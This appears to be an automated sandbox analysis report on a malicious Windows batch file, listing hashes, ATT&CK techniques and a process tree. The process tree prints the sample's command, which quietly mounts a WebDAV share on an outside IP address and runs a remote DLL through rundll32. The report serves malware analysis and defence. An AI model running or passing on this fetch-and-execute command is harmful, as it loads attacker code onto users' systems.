6426717b029f7817745ef34538e3b6cd51f9be1d5627aa70af8a7fc2afc7a2fe

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 05:40

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General

Target

1251228339113827072.bat
Size

2KB
MD5

b3f8cb64ab58ca6fabb412ccd44165c8
SHA1

c3be995674a805c3c8746766d159e602bb3840ab
SHA256

6426717b029f7817745ef34538e3b6cd51f9be1d5627aa70af8a7fc2afc7a2fe
SHA512

af83e54337f18da86c2a5efa5c016d450b8ab1c7789cacca54c9be7a0237ac018c6930ecbd6a31f50ca92757607d05bf057eefa05fdef55895c87d07ff6899d1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2388	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2388	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2388	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1284	wordpad.exe
1284	wordpad.exe
1284	wordpad.exe
1284	wordpad.exe
1284	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 1284	3064	cmd.exe	29
PID 3064 wrote to memory of 1284	3064	cmd.exe	29
PID 3064 wrote to memory of 1284	3064	cmd.exe	29
PID 3064 wrote to memory of 2388	3064	cmd.exe	30
PID 3064 wrote to memory of 2388	3064	cmd.exe	30
PID 3064 wrote to memory of 2388	3064	cmd.exe	30
PID 2388 wrote to memory of 2256	2388	powershell.exe	32
PID 2388 wrote to memory of 2256	2388	powershell.exe	32
PID 2388 wrote to memory of 2256	2388	powershell.exe	32
PID 2388 wrote to memory of 1660	2388	powershell.exe	33
PID 2388 wrote to memory of 1660	2388	powershell.exe	33
PID 2388 wrote to memory of 1660	2388	powershell.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1251228339113827072.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1592.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2388
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2256
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1592.dll entry
    3⤵
    PID:1660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2388-24-0x000000001B500000-0x000000001B7E2000-memory.dmp

Filesize
2.9MB

Download
memory/2388-25-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download